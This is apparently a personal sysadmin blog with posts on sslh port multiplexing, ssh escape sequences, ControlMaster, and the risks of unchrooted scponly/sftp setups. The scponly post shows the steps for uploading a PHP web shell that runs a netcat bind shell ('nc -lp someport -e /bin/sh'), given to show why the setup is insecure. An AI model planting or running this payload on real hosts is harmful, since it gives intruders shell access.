nion's blog

A lot of people used to configure their ssh servers to listen to a port different from 22 to prevent their logs getting filled with login attempts by script kiddies. I just stumbled over sslh which is a very nice alternative to that in case you have a webserver running which supports ssl. sslh is also a good choice if you are behind a corporate firewall and ssh is filtered while SSL is probably not (and this is simpler than tunneling).

The idea is pretty simple but cool. The daemon listens on port 443 and depending on whether the client has written something into the socket (SSL) or not (SSH) after connecting the daemon "forwards" the connection to the listening service running on the same host. In case of SSL/HTTPS the client will send a request after the handshake and in case of ssh it won't. Pretty simple. I just did a quick test on one of my hosts and it seems to work great. The tool is written in C, consists of < 500 SLOC and the code looks clean to me. If you're using Debian you can just apt-get install it.

While I am not a fan of scponly/sftp-server (openssh) many people are still using it to give users the possibility to up/download files from the host without the need to provide them with shell access. If you do a simple setup like http://www.debian-administration.org/articles/94 or configure scponly without using a chrooted environment and you do this on host that also has a standard webserver setup (apache serving per-user home directories and php) you already lost.

The user won't be able to login with the username you gave him but he can remotely login via your webserver now. All that needs to be done is:

• Connect to the host using sftp


• $ mkdir public_html


• $ cd public_html; put index.php; chmod 644 index.php


• point your browser to http://host/~user/


• connect netcat to host:someport

index.php would just contain something like <? system("nc -lp someport -e /bin/sh"); ?> and you end up with a shell as www-data (on Debian).

It's pretty easy to make errors or miss important things in such a setup and I think it's almost always a better solution to either trust people and give them access via ssh or give them no access at all.

ssh is one of the programs I didn't really every read the manpage of (only to lookup stuff which I already knew is possible but forgot how). However there are some nice features you miss if you don't. Besides ControlMaster I just stumbled over another feature.

It is possible to add port forwarding on the fly without the need to open a new terminal and ssh connection.
ssh provides some escape characters to do some stuff in your current connection.
In the default setup the basic escape character is ~ (you can specify this by using EscapeChar in your configuration).

If you follow this by # character (and thus type ~#) you get a list of all forwarded connections.
Using ~C you can open an internal ssh shell that enables you to add and remove local/remote port forwardingsSome other more or less usefull escape sequences, have a look at man 1 ssh -> ESCAPE CHARACTERS

Nearly two years passed and there are still people out there who don't know 'ControlMaster' which was introduced in OpenSSH 4.0.

ControlMaster is set to no by default.
To quote man 5 ssh_config:

Enables the sharing of multiple sessions over a single network
connection. When set to ``yes'' ssh will listen for connections
on a control socket specified using the ControlPath argument.
Additional sessions can connect to this socket using the same
ControlPath with ControlMaster set to ``no'' (the default).
These sessions will try to reuse the master instance's network
connection rather than initiating new ones, but will fall back to
connecting normally if the control socket does not exist, or is
not listening.

Setting this to ``ask'' will cause ssh to listen for control con-
nections, but require confirmation using the SSH_ASKPASS program
before they are accepted (see ssh-add(1) for details). If the
ControlPath can not be opened, ssh will continue without connecting
to a master instance.

This is pretty useful. Set ControlMaster to 'auto' (or autoask) if you want to use an existing socket, create a new one if you can't connect to an existing socket or there is none existing.

This has the nice (depends on how paranoit you are) side effect that you gain speed and if you login via password
on a server, you don't have to type your password every while you login because you can use
an already authenticated socket.

cat >> ~/.ssh/config << EOF
Host *
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster auto
EOF

Be sure to check the permissions of the ControlPath so noone else can use your existing socket.